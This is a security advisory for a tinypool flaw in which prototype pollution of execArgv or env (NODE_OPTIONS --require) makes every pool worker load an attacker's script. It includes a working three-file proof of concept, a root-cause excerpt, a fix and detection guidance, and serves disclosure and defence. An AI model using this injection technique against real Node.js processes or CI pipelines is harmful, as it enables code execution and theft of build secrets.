GHSA-5gmw-xhrv-c9v3: Npm/tinypool vulnerability

Published Oct 5, 2026
·
Updated

tinypool passes worker options to new Worker() by reading them off a plain object whose prototype is Object.prototype. Options the application did not set are resolved through the prototype chain and then passed explicitly to workerthreads.Worker.

Node core ignores Worker options inherited from Object.prototype. By reading them and passing them explicitly, tinypool re-materialises them as own properties and defeats that protection.

Two keys reach code execution:

1. execArgv — polluting Object.prototype.execArgv = ['--require', '/path/to/attacker.js'] causes every pool worker to load the attacker's script. 2. env — polluting Object.prototype.env = { NODEOPTIONS: '--require /path/to/attacker.js' } achieves the same via environment injection.

Root cause

dist/index.js lines 508-511:

js env: this.options.env, argv: this.options.argv, execArgv: this.options.execArgv, resourceLimits: this.options.resourceLimits,

this.options is built at line 470 via object spread:

js this.options = { ...kDefaultOptions, ...options, filename, maxQueue: 0 };

Impact

Arbitrary code execution inside every worker the pool spawns, with the privileges of the host process. Because tinypool is the worker pool behind Vitest (~42M downloads/week), the natural blast radius is developer machines and CI runners — an attacker who lands a prototype-pollution primitive anywhere in the dependency tree gets code execution in the build/test pipeline, which is a supply-chain foothold (access to CI secrets, signing keys, artifact publishing).

Proof of concept

Minimal reproduction (3 files):

worker.mjs — the application's own legitimate worker: js export default function double(n) { return n 2 }

payload.js — attacker-controlled code (never referenced by the app): js const fs = require('fs') fs.writeFileSync('/tmp/RCEPROOF.txt', 'code execution achieved, pid=' + process.pid) console.log(' RCE ')

app.js — normal tinypool usage: js const path = require('path')

// Simulates an upstream PP source (lodash/qs/minimist/set-value/deepmerge) Object.prototype.execArgv = ['--require', path.join(dirname, 'payload.js')]

const { Tinypool } = require('tinypool') const pool = new Tinypool({ filename: path.join(dirname, 'worker.mjs'), minThreads: 1, maxThreads: 1 }) pool.run(21).then(r => { console.log('pool returned:', r) // 42 — app works normally pool.destroy() })

Run: npm i tinypool@2.1.0 node app.js cat /tmp/RCEPROOF.txt # attacker's code ran

Both execArgv and env vectors confirmed on Node 20.

Suggested fix

Resolve worker options with own-property semantics:

js this.options = Object.assign(Object.create(null), kDefaultOptions, options, { filename, maxQueue: 0 });

Affected Software

1 affected componentFixes available
npm/tinypool<=2.1.0
2.1.1

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/tinypool to a version that resolves this vulnerability.

    Fixed in 2.1.1
  2. Compensating control

    Resolve tinypool worker options with own-property semantics so inherited Object.prototype values such as env and execArgv are not passed explicitly to worker_threads.Worker.

Event History

Oct 5, 2026
Advisory Published
via GitHub·10:50 PM
Data Sourced
via GitHub·10:50 PM
DescriptionWeaknessAffected Software

Frequently Asked Questions

1

What must an attacker be able to do to exploit this issue?

The attacker needs a way to pollute Object.prototype in the Node.js process before tinypool creates workers. Setting Object.prototype.execArgv or Object.prototype.env can cause attacker-controlled code to be loaded by pool workers.

2

Are applications affected if they never configured worker execArgv or env options?

Yes. tinypool reads these values from a plain options object, so unset options can resolve from Object.prototype and become explicit Worker options. This defeats Node core's handling of Worker options inherited from Object.prototype.

3

What is the practical impact after successful exploitation?

Every worker spawned by the pool can execute the attacker’s script. That code runs with the privileges of the hosting application process.

4

How can I check for indicators that this condition has been triggered?

Check whether Object.prototype has acquired execArgv or env properties, particularly execArgv containing a --require argument or env containing NODE_OPTIONS with --require. Also investigate unexpected scripts loaded by tinypool worker processes.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203